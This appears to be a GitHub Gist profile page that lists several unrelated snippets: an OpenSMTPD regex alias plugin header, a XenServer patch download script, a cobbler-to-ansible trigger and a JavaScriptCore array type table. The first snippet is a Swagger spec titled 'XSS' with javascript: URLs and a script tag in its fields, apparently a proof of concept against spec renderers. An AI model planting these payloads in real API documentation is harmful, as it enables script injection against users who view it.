Skip to content

Instantly share code, notes, and snippets.

swagger: '2.0'
securityDefinitions:
a:
type: oauth2
authorizationUrl: javascript:alert(3)//
info:
version: "0.0.1"
title: XSS
description: <script>alert(2)</script>
termsOfService: "javascript:alert(1)"
+-------------------------------------------------------------+
| Type | Elements | Properties | Inlines |
+-------------------------------------------------------------+
| ArrayWithContiguous | JSValue | JSValue | None |
| ArrayWithInt32 | JSValue | JSValue | None |
| ArrayWithDouble | Double | JSValue | None |
| NonArrayWithDouble | Double | JSValue | JSValue |
| NonArrayWithInt32 | JSValue | JSValue | JSValue |
| NonArrayWithContiguous | JSValue | JSValue | JSValue |
+-------------------------------------------------------------+
@unconfigured
unconfigured / opensmtpd_filter_userwildcard.py
Created January 11, 2016 23:01
opensmtpd table plugin which supports regex in emails for alias lookups
# Install table-python to /usr/libexec/opensmtpd (https://github.com/OpenSMTPD/OpenSMTPD-extras)
# create file /etc/aliases with entires like
# mail-.*@domain.com: username
# use python table in opensmtpd.conf, example for vusers:
# table aliases python:/path/to/opensmtpd_filter_userwildcard.py
# table userinfo file:/etc/opensmtpd/users
# accept from any for domain domain.com virtual <aliases> userbase <userinfo> deliver to lmtp 127.0.0.1:2
#
# Debug:
# comment out 'from table import *' and comment in last two lines, run with python
@unconfigured
unconfigured / get_xenpatches.sh
Created December 27, 2015 22:53
Small script to download all Patches available for a specific version of XenServer (see build-number)
#!/bin/sh
[ -f updates.xml ] && rm -f updates.xml
wget http://updates.xensource.com/XenServer/updates.xml
for x in `cat updates.xml | sed -n '/build-number="90233c"/,/version/p' | grep uuid | cut -d'"' -f2`; do url=`grep $x updates.xml | sed -n 's/<patch\(.*\)>[ ]*$/\1/p' | sed -n 's/.*patch-url=.\(.[^"]*\).*/\1/p'`; wget -O `basename $url` -nc "$url"; done
@unconfigured
unconfigured / install_post_ansible.py
Last active July 2, 2018 17:48
cobbler post install trigger to start ansible after provisioning
#!/usr/bin/python
#
# Post install trigger for cobbler to
# kick of an ansible run on the target system.
# You can place an ansible.cfg in the same
# directory as your main playbook, so all
# stuff like inventory file etc. will be
# found the same way as if you run
# ansible-playbook in this directory
#